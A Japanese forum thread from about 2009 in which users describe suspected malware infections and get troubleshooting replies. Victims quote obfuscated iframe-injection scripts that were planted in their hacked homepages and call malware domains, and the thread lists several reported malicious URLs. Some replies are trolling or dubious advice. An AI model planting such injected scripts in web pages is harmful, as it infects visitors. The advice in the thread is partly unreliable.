クッキー程度で起動時に変なアイコン表示されたりするのでしょうか？
マルウェアの具体的な詳細知りたいのですが検索のヒントになるようなキーワード覚えてないでしょうか？

>>58
ん。ちとマズイなその感染は。
修復できないならリカバリ。
ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1316561503

Sens.dllがなくなるとこうなる
ttp://okwave.jp/qa3280337.html

>>60
回答ありがとうございます
一つのアカウントしかないので無理やり削除することにしました

ちょっと教えてもらいたいのですが、
1週間前のことですが、DVDのトレーがたまに開閉するようになり、
ノイズかなんかかなぁぐらいで放置していましたが、
2日目位からネットの接続が遅くなり、ｸﾞｰｸﾞﾙは開けますが、ﾔﾌｰを開くと固まってしまう状態でした。
なんか怖くなり、トレンドマイクロのオンラインでスキャンしましたが、何も出ず
SPYBOTでスキャンしたところダブルクリックのスパイウェアが1個出てきただけでした。
ブラウザの表示が困難になったので、ﾏﾏﾝを変えるついでにVISTAを再ｲﾝｽｺしたら
直ったので事なきを得たのですが、これは何かのウイルスに感染していたのでしょうか？
または、ﾏﾏﾝの故障なのでしょうか？SSD、メモリは流用したので壊れてはいませんでした。
申し訳ないのですが、何かおわかりになられる方がいらっしゃいましたらご教授願います。
お願いいたします。

DVDも流用しましたが、壊れていませんでした。

scrのファイル踏んでしまった

ファイルのほとんどがT605の拡張子で237ｋｂになってしまった

ほんとにファイルはあぼーんになったの？

どうすればいい？

助けてください。

トレンドマイクロのオンラインスキャンを
始めようとすると、サービスを開始できません。とでるのですが
どうしてでしょうか？以前は問題なくできていたのですが・・・

ＯＳはVISTA　HEデス

>>64
そんなウィルスあるの？
こわい。

>>64
ファイルは消えた。OS再インストール

というか、そういうデータ破壊系のものが
昔からあるウイルスなんだが。

スパイじみた挙動を見せるタイプは最近になって増えたらしい。

src踏みました
フォルダ内の動画が画像ファイルに上書きされるのを見て
とにかく強制終了、再起動してもウィンドウズが立ち上がらないので
ウィンドウズを再インストール

なんとか起動後、デスクトップ画面は普通で
まずOSとは別のパーテーションにあるミュージックフォルダを確認
各アーティスト毎のフォルダ内は一見無事に見えましたが、
確認してる内にどんどん画像ファイルに上書きされてました・・・
そこでまたあせって強制終了、また立ち上がらなくなりました。

Cドライブだけ初期化して
別のパーテーションを残しても、ウィルスは残ってますかね？
やはり全ての初期化しか方法は無いでしょうか

すいませんsrcじゃなくscrでした

>やはり全ての初期化しか方法は無いでしょうか
うん

>>69
ウイルス対策ソフトいれててもｓｃｒ踏むとそうなっちゃうの？
もしそうなら怖いね。

>>
>うん

役立たずすぎてﾜﾛﾀ

ファイル（レジストリ含む）を書き換えられたらどうしようもない
HIPSで防ぐしかないだろ

質問です。

私のウイルスセキュリティZEROたんがトロイを数匹見つけるほど末期なパソコン状態です。
せっかくウイルスバスターを買ったのですが、試供品を別のパソコンで使ってるので
それが終わってからにしようとたらたらしていたらどんどんひどいことになっています。

昨日くらいから、マイコンピュータを開くと問答無用で応答無し→送信しますか？状態になります
これを、マイピクチャからフォルダを選択したらCドライブの中とか外付けの中に逝くことはできます

こういう現象はウイルスのせいでしょうか？
僕はどうしたらいいでしょうか？
よろしくお願いします。

まるち

はわわ

きれいな水ですから…

HPを勝手にいじられました

中にあったのは

script

document.write("<"+"i"+"f"+"rame
src=http:"+"//upda"+"t"+"edat"+"e."+"c"+"n/"+" height=1
width"+"=1"+">"+"</if"+"ram"+"e>");

/script



"や+をはぶくと
updatedate.cn/

ですが、どんなウィルスでしょう？

PDF系じゃないだろうか……

>>79
ありあがとうございます


素人ですみません

PDF系とはナンでしょうか？

パスワードを変えても
すぐＨＰをいじられてしまいます。

クリーンインストール推奨。
終わったらパスワード変更も忘れずに。

>80
ちなみに、そのupdatedate.cnのソース（難読化されたScript）の、VirusTotalのスキャン結果

ttp://www.virustotal.com/jp/analisis/694dfbd3d77e09b5ea46c4bea1267d66130b6d53dc277e510019cd7ae1e557e7-1247747295

私も>>78と同じ事になっています

一体どういう事が起こっているんでしょうか…
クリーンインストールというと、やはりウィルスなんですか？

私はFTPを使っています。
アップロード直後はそのソースは出ないんですけど…

どうやら、>>79の言う通りPDFを落させようとしますね…はい。

そのPDFファイルのソースが取れたので、VirusTotalに掛けようとしたら
「ファイルはすでに解析されてる」と出ました。結果です。
ttp://www.virustotal.com/jp/analisis/d92424f3e9a0abf909d92afe6d6682d681f3feab0dabf2951f4d26f7b6236b76-1247719801

このテのタイプだろうね

Exploit-PDF.b.gen ウイルス情報 マカフィー
ttp://www.mcafee.com/japan/security/virE.asp?v=Exploit-PDF.b.gen

情報だけシマに渡しておいた

>updatedate.cn
Adobe Readerの旧版にある脆弱性を突くPDFファイルを読み込ませて、
ウイルスを起動させる。(GENOウイルスと同じ)

FTPパスを抜くウイルスに感染してるとか？

でもＦＴＰを使わないで
直接借りてるサーバー(FC２無料)からアップロードしても
数時間後にはそのタグが出てるんですよね。
私の所のタグでは、

<script>document.write("<iframe" +" sr"+"c=h" +"t"+"tp://delzz" +"erro.c"+"n/ " +"he"+"ight=1 "+"widt" +"h=1"+"></ifr" +"a" +"me"+">");</script>
<script>document.write("<iframe"+" s"+"rc="+"h" +"tt"+"p://"+"updat" +"edate.cn/ "+"hei"+"ght=1 wi" +"dth=1"+"><"+"/ifra"+"m"+"e" +">");</script>

というものが出ます。
色々省くとh ttp://delzzerro.cn/ と h ttp://updatedate.cn/

ウィルスだとしたら、どう対処したらいいんですかね…
調べても上がってこなくって、結構焦ってます。

IPA 情報処理推進機構：情報セキュリティ：脆弱性対策：SQLインジェクション検出ツール
http://www.ipa.go.jp/security/vuln/iLogScanner/index.html

IPA 情報処理推進機構：情報セキュリティ：脆弱性対策：安全なウェブサイト運営入門
http://www.ipa.go.jp/security/vuln/7incidents/index.html

IPA 情報処理推進機構 （情報セキュリティに関する届出）
*コンピュータウイルスの相談窓口としてコンピュータウイルス110番の電話を設置
http://www.ipa.go.jp/security/todoke/

C:\Program Files (x86)\Windows Live\Photo Gallery\WLXPhotoAcquireWizard.exe

Windows7x64でAvast!つかってるんだが、昨日の定義で上記のexeがウィルスとして検出されるようになったんだが、
これって誤爆じゃないの？

winnyをよくやってるんですが、winnyみたいに日本でしか使われていないソフトに発生する
ウイルスって、海外製のウイルス対策ソフトの対応度合いってどうなんでしょうか？
winnyやるなら国産の（といってもウイルスバスターしかないのかしら？）の方が良いでしょうか？

アホみたいな質問で済みません・・。

やめたほうがいいな

comodo使ってるんですが
Firefoxを開いただけで送信接続数が600とかになることがあります
なにかトロイにでも感染したんでしょうか？

フレッツウィルスクリアでTROJ Gen.4X2633が検出されたんですがこれはなんなんでしょう？

>>93
TROJ Gen.4X2633

【使用OS】　　　　　 『XP sp3』
【PCスペック】　　　 『CPU：　3.00GHz 、メモリ：　1.96GB』
【使用ブラウザ】　　『IE』
【Microsoft Updateの更新の状態】　『自動更新設定』
【セキュリティソフトと年式】　　　　 『ウイルスバスター　2009』
【その他スパイウェア対策ソフト】　『ウイルスバスター　2009』
【回線の種類・ルータの有無】　　『光回線でルータ使用』

【具体的な症状】　
ファイアフォックス起動時に一瞬小さいウインドウの残像？が見える
気になってカペルスキーオンラインスキャンをしたら
C:\Program Files\Trend Micro\Virus Buster\Quarantine\195.tmp
がTrojan-PSW.Win32.Nilage.djlに感染しているとでました。

C:\Program Files\Trend Micro\Virus Buster\Quarantineを開いても
195.tmpというファイルが見つかりません。

ファイアフォックス起動時に一瞬小さいウインドウの残像？が見えるのと
このウィルスは関係がありますか？

駆除するには再セットアップでしょうか？

>>95
OTL
ttp://oldtimer.geekstogo.com/OTL.exe
OTL.exeをデスクトップへダウンロード
アクティブなプログラムウインドウをすべて閉じて、OTL.exeを実行します
上段にある「Scan All Users」の箇所にチェックを入れてから、「Run Scan」をクリック
ログ抽出走査が終了すると、
「OTL.Txt」と「Extra.txt」がメモ帳で開いて、デスクトップ上に2つのテキストが自動的に保存されています

RootRepeal - Rootkit Detector
ttp://rootrepeal.googlepages.com/

RootRepealの最新バージョンをデスクトップへダウンロード
RootRepeal.rar解凍し、アクティブなプログラムウインドウをすべて閉じて、RootRepeal.exeを実行
下列から「Report」タブを選択、左下の「Scan」ボタンをクリック
「Select Scan」ダイアログが表示されるので、すべてにチェックを入れて > OK
次にScanするドライブを問われるので、「C:\」にチェックを入れて > OK > Scan走査がスタート（*Scan中は「Files」タブになっています）
ログ抽出走査が停止したら、
「RootRepeal report.Txt」がメモ帳で開いて、C：にテキストが自動的に保存されています

OTLとRootRepealのログを新規フォルダにコピー&ペーストしてから、フォルダを圧縮
件名とフォルダ名をを、「[ Report ] - Infection log report」として以下へ送信

■Symantec Security Response 〔Upload a suspected infected file ： 疑わしいファイルの提出〕
https://submit.symantec.com/websubmit/retail.cgi
*ファイルや圧縮ファイル〔Password無し、File数9個未満、10MB未満〕やtxtレポート で調査依頼の提出が出来ます

これでワクチンが作られるので、次回のパターンファイル更新で対応されますｗ

>>96は何を勘違いしてるのか。
ウイルスバスター を 使ってる人に ウイルスバスター と 関係の無い シマンテック社に
訳の分からんもん送れって アホか。

ノートン が 対応しても ウイルスバスター は 対応しませんよね。
意味のないことするな！

あと そんな怪しげなファイル 使わねーって。

ドライバをランダムに削除するウィルスってあるんですか？
ググっても出てこないんですが。

他スレの書き込み。

"OTL.exe"は、McAfeeでは、「検出済み: Artemis!3974A453958C (トロイの木馬)」
となって、DL出来ないよ。一時的にシールド外せばDLして調べることも出来るけど、やめた。

"OTL.exe"をVTでスキャンすると
CAT-QuickHeal 10.00 2009.08.04 (Suspicious) - DNAScan
eSafe 7.0.17.0 2009.08.03 Suspicious File
McAfee+Artemis 5697 2009.08.03 Artemis!3974A453958C
McAfee-GW-Edition 6.8.5 2009.08.04 Heuristic.LooksLike.Win32.Suspicious.C!83
Sophos 4.44.0 2009.08.04 Mal/Emogen-Y
で検出されたが

>>99
ttp://www.virustotal.com/jp/analisis/688ce51d54bbbfa7cbaca9a9b68bee1f6c09fec8c3b9fcb7a3bf9f4d69e2eb99-1250276493

CAT-QuickHealとSophosが定義修正してるから
McAfeeに連絡しておいた方がいいよ
eSafeは連絡しても修正してくれないから放っておけｗ

>>99
100は旧バージョンの結果だったスマンヌ
旧OTL File size: 501760 bytes
ttp://www.virustotal.com/jp/analisis/688ce51d54bbbfa7cbaca9a9b68bee1f6c09fec8c3b9fcb7a3bf9f4d69e2eb99-1250277761
現OTL File size: 514048 bytes
ttp://www.virustotal.com/jp/analisis/161355d30bc20464c5e2785db7ba75691f41fcae55a37ccc848653453983a093-1250277770

なんだもう1001になったのか

PC初心者なんだけど、ファイル共有ソフト使ってなければ
ファイルとか画像が勝手に流出することはないの？

>>103
そんなことないよ。
ウィルスに感染してバックドアしかけられたら、気づかないうちにHDDの中身を抜き取られてることもある。

>>103
山田オルタでググってみ

【使用OS】　「XP home」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「avast　4.8」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「AVG　spybot」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「無し」

起動時にマイドキュメントが開いてしまうので
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win!dows NT\CurrentVersion\WinlogonC:\WINDOWS\system32\userinit.exe,
に書き換えて再起動したところ、ログインしても瞬時にログオフされるようになりました。
セーフモードにしても同様です。
検索してもこの症状の人は解決には至っておらず、とても困っております。
もうリカバリーかOS再インスコしか道がないのでしょうか…
どうしても残しておきたいデータがあって…

>>106
OTL
ttp://oldtimer.geekstogo.com/OTL.exe
OTL.exeをデスクトップへダウンロード
アクティブなプログラムウインドウをすべて閉じて、OTL.exeを実行します
上段にある「Scan All Users」の箇所にチェックを入れてから、「Run Scan」をクリック
ログ抽出走査が終了すると、
「OTL.Txt」と「Extra.txt」がメモ帳で開いて、デスクトップ上に2つのテキストが自動的に保存されています

RootRepeal - Rootkit Detector
ttp://rootrepeal.googlepages.com/

RootRepealの最新バージョンをデスクトップへダウンロード
RootRepeal.rar解凍し、アクティブなプログラムウインドウをすべて閉じて、RootRepeal.exeを実行
下列から「Report」タブを選択、左下の「Scan」ボタンをクリック
「Select Scan」ダイアログが表示されるので、すべてにチェックを入れて > OK
次にScanするドライブを問われるので、「C:\」にチェックを入れて > OK > Scan走査がスタート（*Scan中は「Files」タブになっています）
ログ抽出走査が停止したら、
「RootRepeal report.Txt」がメモ帳で開いて、C：にテキストが自動的に保存されています

OTLとRootRepealのログを新規フォルダにコピー&ペーストしてから、フォルダを圧縮
件名とフォルダ名をを、「[ Report ] - Infection log report」として以下へ送信

■Symantec Security Response 〔Upload a suspected infected file ： 疑わしいファイルの提出〕
https://submit.symantec.com/websubmit/retail.cgi
*ファイルや圧縮ファイル〔Password無し、File数9個未満、10MB未満〕やtxtレポート で調査依頼の提出が出来ます

これでワクチンが作られるので、次回のパターンファイル更新で対応されますｗ

>>107（続き）
Norton Internet Security 2009を購入します
ttp://a.imagehost.org/0851/3_4.jpg

インストール>アップグレード>スキャン

A-Squared Freeをインストール>スキャン

ここまでやればHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win!dows NT\CurrentVersion\WinlogonC:\WINDOWS\system32\userinit.exe,が正常になると思ってますｗ
リカバリを奨める似非回答者が現れる可能性がありますので、注意してくださいね

>>107
レスありがとうございます。
デスクトップにDLしようにも、デクストップが見えた瞬間くらいにログオフしてしまい、
DLができない状態です。。。
今書き込んでいるのはサブのPCからです＞＜

データ吸い出したいだけならKNOPPIX等のCDで起動できるLinux使って
USBメモリ等にデータをコピー
Windowsを起動できるようにしたいなら、回復コンソールを起動して、
システムの復元領域からレジストリをコピー

でも、たぶんOS再インストールしちゃったほうが、時間が無駄にならなくてすむよ

>>110
やっぱり外側から何かしないといけないですよね・・・
諦めて再インスコ検討します；

>>110
KNOPPIXというものを検索して試行錯誤しながらバックアップしたいファイルを救出することができました！
ありがとうございました！

これから再インストールしたいと思います。

>>103
P2Pが原因じゃなくてウイルスが原因
P2Pやってなくても何かの拍子でウイルス踏めば駄々漏れ

【使用OS】Windows XP HE SP3
【Microsoft Update（MU）の状態】常に最新
【使用セキュリティソフトとバージョン】ノートンインターネットセキュリティ2009 16.7.2.10
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】Yes
【スパイウェア対策ソフト】特に無し
【ルータの有無】有り

PCの電源を切るときに、半分くらいの確率で「ccSvcHstプログラムの終了中です」「このプログラムは応答していません」と表示されます。
これ自体はノートン関連のファイルという事がわかっているのですが、問題はこのエラーが表示された際に必ずセットで表示される、以下の画像のエラーです。

http://up2.viploader.net/pic/src/viploader1148679.jpg

「ccSvcHstプログラムの終了中です」が表示されずにすんなりと終了する時には表示されません。
必ずccSvcHstとセットになっています。
自分なりに調べてみたところn.exeはUSBウイルスだと分かったのですが、

・フォルダの設定で隠しファイルはちゃんと表示できる
・各ドライブ直下にautorun.infが無い
・Cドライブ直下にn.exeやvb8jc.exeなどが無い

など、感染している症状は見当たりませんでした。
また、PCにインストールしているノートンインターネットセキュリティ2009と
カスペルキーのオンラインスキャンを実行しましたがウイルスは発見できませんでした。

症状としては感染しているようには見えないのですが、どうしても『n』というプログラムが気になります。
これはウイルスではないのでしょうか？またウイルスだった場合、手動での確認が不可能な段階まで進行しているのでしょうか？
不安でご飯も3杯しか喉を通りません助けてください。

"n"ってのは必ずしもファイル名とは限らないんじゃね？
さっさとリカバリしちゃったほうが確実だしご飯がすすむと思うよ。

JS:ScriptIP-inf [Trj]
これ何か知ってる？
ネサフしてるとavastが何回も拾う
が、データベースに載ってもいない

今VAIOtypePをスタンバイから復帰させたんだけど、
その瞬間緑とオレンジのブロックが左に流れ続ける画面になってしまった。
fとかoとかがそのブロックの中に入ってたんだけど、
再起動したら戻った・・・

これってウィルス？とりあえず今からスキャンしてみる・・・

【使用OS】　「win2k_SP4」(多分)
【Microsoft Update（MU）の状態】　08/30現時点・最新
【使用セキュリティソフトとバージョン】　「AVG ﾌﾘｰ」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【ルータの有無】　「あり」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「Downloader.Generic8.BKDE
」


トロイってことしか分からない。　危険度は恐らく低いが情報求む。
ちなみに、検出されたのは「Orbit」ってDL支援ソフトの「〜net.exe」
〜←なんて書いてあったか隔離した記録ごと消したから忘れてしまった。

ＸＰ使っているのですが、（それ以外よくわかりません）

１ヶ月ぐらい前にブラウザのバーが勝手に上がり下がりして変でした。
今度は、電源が勝手に消えて着いたりして、主電源も効かなくなるので
ウイルスバスターを入れてみました。
ウイルスソフトを入れると、起動が鈍くなるのでここ数年入れていなくて、
ウイルスバスターで２９個の何かが検出されたのですが、
これがウイルスですか？
こういうのが、ＰＣを壊すことはあるのでしょうか？

>>119
> ウイルスソフトを入れると、起動が鈍くなるのでここ数年入れていなくて

アンチウイルス入れないで数年使えば、どんな状態になっていてもおかしくない
あなたの言う症状がウイルスのせいか何なのか断定は出来ないが、もうまともなｐｃの状態じゃないと思う

>>119
PCが壊れる事は滅多にはないが無くは無い
一度OS入れ直す事を強く推奨

>>120
>>121

ありがとうございます。
電源落ちはなくなりましたが、また調子悪くなるかもしれないので、
データーだけ取ってからリカバリに挑戦してみます。
ウイルスソフトが大切だとはじめて思いました。
（数年ってもう１０年近いです）
私は絶対にウイルスになんて感染しないって自信過剰でした。

OS XP
対策ソフト一切無しで、エッチ系サイト閲覧してたら、急にダウンロードとセットアップが始まってしまいました。
アンインストールしたけど
ネットしてたら、別ウィンドウで知らないサイトが、ピョコピョコ出るように、なりました。
Yahooメールとか見てたら頻繁に
ヤフオクのID即止めた方が良いですか？
キャノンのウイルス対策ソフトの1ヶ月体験インストールしてみたけど、感染ファイル46個削除になったけど
知らないサイトがピョコピョコは解消されません
ウイルスバスターも、入れてみたら、激重になって
何も出来ません。
助けて下さい。

まずアンチウイルスソフトを複数入れるのは止めろ。
体験版の多くはスキャンのみで駆除できないことがあるから、体験版を過信するのは大きな間違い。
つかバスターはザルのくせして激重だ。

それとPCにダウンロードされたのはブラウザハイジャック型のマルウエアとバックドアだと思う。
Yahoo IDや様々なネットサービスを一旦全て停止し、マルウエアやスパイウエアを駆除するソフトをインストールして、定義ファイルをUpdate後にスキャンしてみるといいよ。
SUPERAntispywareだとブラウザハイジャック防止機能もあるからオススメ。

>>124
ご回答ありがとうございます。
ウイルスバスターが激重で、アンインストールするのにも、即フリーズして何も出来ないんですが
修理に出した方が早いですか？
F5押しながら再起動してみたけど
フリーズ
二つの体験版が起動してすぐ動いてるからだろうけど
何か、ウイルスバスターアンインストール出来る方法ありましたら、教えて下さい。
データのバックアップも出来ません。

ここはいつから初心者板になったんだろう

>>123
いいか？念の為LANケーブル引っこ抜いて、セーフモードで立ち上げて
そこからアンインストール作業を試して見てダメだったら、リカバリCDでも突っ込んでから起動するんだな。
今出てきた言葉で分からない事があるならネットカフェでググるなり、本屋か図書館に行ってパソコン用語辞典調べるなりしな
即リカバリをすると無論バックアップは取れないが、自業自得だ
みんな調べたり、痛い思いしながら相応に育ってるんだ
本一冊買えば基礎知識くらいは付くんだから、それくらいしてからPCいじって欲しい

経験に勝る知識はない。

http://www.yamasaki-sunnet.co.jp/

ここのページ開こうとすると、
ウイルス警告出るんですけど
大丈夫ですかねぇ。

ウイルス名：HTML:IFrame-EC [Trj]

xp　ウイルスバスターver2009　troj_generic.dit　が検出されました。
ＩＥ5というフォルダ（？）にあると表示されましたが、フォルダオプションで
全てを表示させても見当たりません。
害の有無・削除方法など、教えてください。
バスタースレでは、「サポートに聞け」と、スレ存在の価値が皆無のようなことを
言われまして、こちらに来ました。よろしくお願いします。

インターネット一時ファイルを削除

>128
ページ内に<p class="img"><iframe frameBorder="0" allowTransparency=以下ryがあり
そのコードに反応してるんでは？と思います。

ウィルスに感染したらどうすればいいですかね

リカバリ

上記の通り、バスタースレでも質問していたところ、
誤検知ということで、無害みたいです。
>>130　ありがとう。

最近のゆとりーはマルチって言葉すら知らないのだろうか？と素朴な疑問

マルチ市ねって言っても帰ってくれないでしょ、この手の奴は

あと、マルチだって言われてるのに相手するバカもいるからね
自演かもしれないけど

>>135-137
マルチ言及厨のほうがウザ

＞バスタースレでは、「サポートに聞け」と、スレ存在の価値が皆無のようなことを
言われまして、こちらに来ました。よろしくお願いします。

丁寧に説明してるからまだいいかと。

という自演

はいさらっと終わらして次いこーぜー

画面が時々フリーズして困っています。
特徴はフリーズした瞬間「バイーン」と音がします。
スパイウェアを仕込まれたのでしょうか？
これが何か分かる方おしえてください。

田代ウイルスっていうのは、田代砲のことなんですか？
イメージファイルをDVDに焼いてマウントしたら、ドライブにnamikare.netと表示されて、
自動実行の直前で食い止めたんですが、もし感染したらどんな症状がでるのでしょう？

パソコンのウィルスを作って、バラまいたら、
どういう法律に触れるのでしょうか？

初心者です。(※一応ウィルスバスター付)
ネットの履歴に
・r・・・s・・・[・＾
というものがあり、行った覚えが無いのですがこれは何かのウィルスなのでしょうか？
気付いたら履歴に残っており、同時期から急に動作異常が発生しています。
もしご存知でしたら名称と対策をお願い致します。

>>144
それだけではなんともいえないが

INTERNET Watch
情報処理推進機構（IPA）は3日、ブラウザの設定を改変したり、不正な機能を追加する　2009/9/3
悪質なソフトウェア「ブラウザハイジャッカー」の被害が出ているとして注意喚起した
ttp://internet.watch.impress.co.jp/docs/news/20090903_312726.html

→ PC健康診断掲示板　（特にPCに問題は感じないが念のためチェックしてほしい方向けの診察掲示板）
http://pc11.2ch.net/test/read.cgi/sec/1250027233/5

Janeで２ちゃんねる見てるのですが
プロバイダ板の
「MX・ny等で帯域制限をかけるISPについて云々」
というスレを開いたら
トロイの木馬が検出されました。

スレッドを開くだけでウイルス感染する事なんてあるんでしょうか？

帰れ

家のPCが突然シャットダウンしたり一時的にインターネットに接続出来なく
なります。
他にもタブが突然増えだしたりシャットダウン出来なくなってしまいます。
一応ウイルスドクターを入れていてスキャンをしてもウィルスは検出されません。
これはPCに何か問題があるのでしょうか？
それともウィルスが入っているのでしょうか。

>>148
テンプレートは飾りではないのです。
>>1はまともなレスがほしいがひとが利用するテンプレ。
>>2-3は予防のについて
>>5-6はルータ無し且つリカバリした状態がXPsp1以前なら感染するマルウエア。
>>9はおまいさんの疑問への答え。

【使用OS】　「Windows Vista (TM) Business Professional (6.0, Build 6002 Service Pack 2)」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「avast4/BitDefenderコマンドライン版」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「WindowsDefender」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「最新」
【ルータの有無】　「無」

いつの間にか、HDD内の画像サイズの比率が滅茶苦茶になっていました。
自分でコンバートした覚えもなく、思い当たる点もありません。
フルスキャンしましたが何も検知されませんでした。
もし、HDD内の画像ファイルを破壊するようなウイルスがあったら教えてくださいm(_ _)m

サンプル↓
ttp://imagepot.net/view/125326414004.jpg

>>150
ファイル交換及びシェア系サイトに
壊滅的な被害をもたらすリスクが多い罠

梨花のオフィシャルブログを見るとadode readerが勝手に開いて、ファイルが壊れてると出て
ノートンが高リスクと表示されます。なんなんでしょうか？分かる方いらっしゃいますか？

このページです
ttp://www.smooche.jp/rinka/

>>152
エラーで表示されない

>>153
すいません、貼りなおしてみましたが同じですよね。
ttp://www.smooche.jp/rinka/

www.smooche.jpにアクセスしようとするとavastも怒るね

ttp://www.aguse.jp/で調べると
「外部にリダイレクトされています」って警告が出る

>>155
レスありごとうございます。ウィルスでしょうか？
ノートン2009なんですが、リスク名は「 acrobat ＰＤＦ　Suspicious　File Downlode3」
と出てました。

>156
AVG7.5でも反応あり
あとソースを見ようとすると再びAVGが反応するので、ソースチェッカーオンラインというのを使い、
調べて見ますと、IFrameタグで悪質サイトに飛ばせようとします。
またジャンプタグで別サイトを呼びこむ仕掛けもあります。

>>157
レスありがとうございます。それと、ご親切に有難う。詳細が分かりましたら、教えてください。
genoウイルスってやつかな・・・。ノートンで一応「遮断しました」とは出たんですが、大丈夫かな。。

>>158
シマへ報告しといたからダイジョブ

>>159
有難うございます

http://ss2music.com/psfm/
↑
このページって何かのウィルスが
組み込まれているのでしょうか？

うん

【使用OS】　Windows XP
【Microsoft Update（MU）の状態】　多分手動
【使用セキュリティソフトとバージョン】　ウィルスセキュリティZERO
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　自動更新なので多分
【スパイウェア対策ソフト】　同上
【スパイウェア対策ソフトの更新は定期的に行なっているか】　同上
【ルータの有無】　多分ある

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
スキャン中

友人からMSNメッセンジャーで送りつけられた変なURLを踏んでしまい、
自分もメッセンジャー経由で他人にURLをばら撒くようになってしまいました。
自分がばら撒いたことは自分ではわかりません。

その時のメッセージは
-------------------------------------------
○○の発言 :
Obama http://オバマwebcam.com/
-------------------------------------------
(オバマ　→　obama)

といったものだったと思います。
このURLでググっても日本語サイトが出てこないため、対策がわかりません。
どなたか、よろしくお願いします。

クリーンインストール

PC初心者です。携帯から失礼します

【使用OS】 WindowsVista


【症状】 tora3aux.exeが認証を求めています。の表示が下の黒いバーに出てる。

ファイルは怖くて開いてないんで、被害は無く、自動アップデートには失敗してくれるんで大丈夫なんですが、トロイですよね？
消したいんですが、どうすればいいんでしょうか？

Windows,vistaで画面の下にある黒いバーの部分に「tora3aux,exeがアクセス許可を求... - Yahoo!知恵袋

>>165

携帯から失礼します。
釣りなんだろ？

ttp://www.amigo.in/hahahahahaha/oppai.html
これは何？
検査しても何も出てこないんだが平気？

http://futabakikaku.com/mrlite/include/config/conf/184.htm
↑
これウイルス仕込まれてたページみたいなんだけど、
踏んだとき404エラーになっててもウイルスって感染するのかな？

>>168
いわゆるブラクラ。　大量にFLASH再生が立ち上がってPCの動作がおかしくなる。（ウイルスは仕込まれて無いっぽい。）
とりあえずGoogle SafeBrowsingに攻撃サイトとして報告しておいた。

>>169
普通は感染しない。（そのページは現在本当に404）

ただし、ちょっと前に、404のページに見せかけて裏で隠して攻撃コード仕込むサイトがMDLに載っていたので、
404に見えるからって安心できない。

# こういう心理の落とし穴を使うタイプ（表示が404だから裏で起きていることを警戒しないタイプ)は凄いタチ悪いと思う...orz

>>170
ご回答ありがとうございます。
（そのページは現在本当に404）とありますが、
=感染していない、という捉え方で宜しいですか？
重ね重ねすみません。。

>>171
とりあえず、私が見た時点（1:40頃）は何もなかった。ので、私とそれ程変わらない時間に見たんなら
大丈夫（感染してない）だと思う。

まあ、こういうのって心配しはじめるとキリが無いんだけどね。(w　心配ならシマンテックとかマカフィー，
カスペルスキーとかのオンラインスキャンをやっておけばいいと思う。

※ 自分が使っていないソフト会社のオンラインスキャンをするのが良い。

>>172
configとか書いてるのに本当に手が滑って押しちゃって・・・。
ありがとうございましたー。

私もtp://www.amigo.in/hahahahahaha/oppai.html 踏んじゃいました・・・
一瞬表示されてすぐに消したんだけど・・・
今のところＰＣは動いてるんだけど、兄のＰＣなんで壊したら叱られちゃう

【使用OS】　「SP3」
【Microsoft Update（MU）の状態】　「on」
【使用セキュリティソフトとバージョン】　「AVG8.5420」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「yes」
【スパイウェア対策ソフト】　「SuperAntiSpyware」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「yes」
【ルータの有無】　「?」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
トロイなんたら。
パニくって反射的に削除してしまいました。
再スキャンしたら、大丈夫でした。

ニフティのオンラインスキャンしたら、ウィルスを一つ検出しました。
用心のために、リカバリしたほうがいいでしょうか？
気がつかないでショッピングサイトにログイン
（退会するためでしたが）したのが怖いです。
マイドキュメントのファイル、読まれてしまったかな・・・。

すいません、常時AVGを使っていて、
ニフティのオンラインスキャンしたらいつ出たってことです。
AVGのバカ。

ニフティのオンラインスキャンは、カスペルスキーです。
パニ食っててすいません。

>>177
大丈夫かなと思ってそのまま使い続けても、不安は完全には拭い切れないでそ？
ならリカバリしたほうが精神衛生的にもｲｲと思う
それで改めてアンチウイルスソフトの選定すればいいかなと

>>178
そうですね、
どうもありがとうございました！

【使用OS】XP
【Microsoft Update（MU）の状態】手動
【使用セキュリティソフトとバージョン】ノートン
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】いいえ
【スパイウェア対策ソフト】ad-aware spybot
【スパイウェア対策ソフトの更新は定期的に行なっているか】はい
【ルータの有無】わかりません

スキャンした結果、トロイの木馬が３つ見つかり、削除済みです。
しかしttp://188.165.18.19/ads/?aff=6&subaff=123-v302
が頻繁に勝手に開かれるという症状は改善されません。
alertfindやcanfind等のサイトも勝手に開かれているみたいです。
ネット等で調べましたが、対処方法がわかりません。
よろしくお願いします。

mixiのウイルスって未だに活動してんの？
さっきいつもどおりにログインしようとしたらカスペさんが「やばいっすよ」と教えてくれた
まさか新種じゃないよね？

>>180
●IPA 情報処理推進機構
「 USB メモリのセキュリティ対策を意識していますか？ 」 Windowsの自動実行（オートラン）機能を無効にする
※USBメモリの使用に関わらず設定しておくこと！
ttp://www.ipa.go.jp/security/txt/2009/05outline.html

http://oldtimer.geekstogo.com/OTL.exe
OTL.exeをデスクトップへダウンロード
アクティブなプログラムウインドウをすべて閉じて、OTL.exeを実行
左列下部にある「Extra Registry」箇所をUse Safelistにチェックを入れて、
上段にある「Scan All Users」の箇所にチェックを入れてから、左上の「Run Scan」をクリック
ログ抽出走査が終了すると、
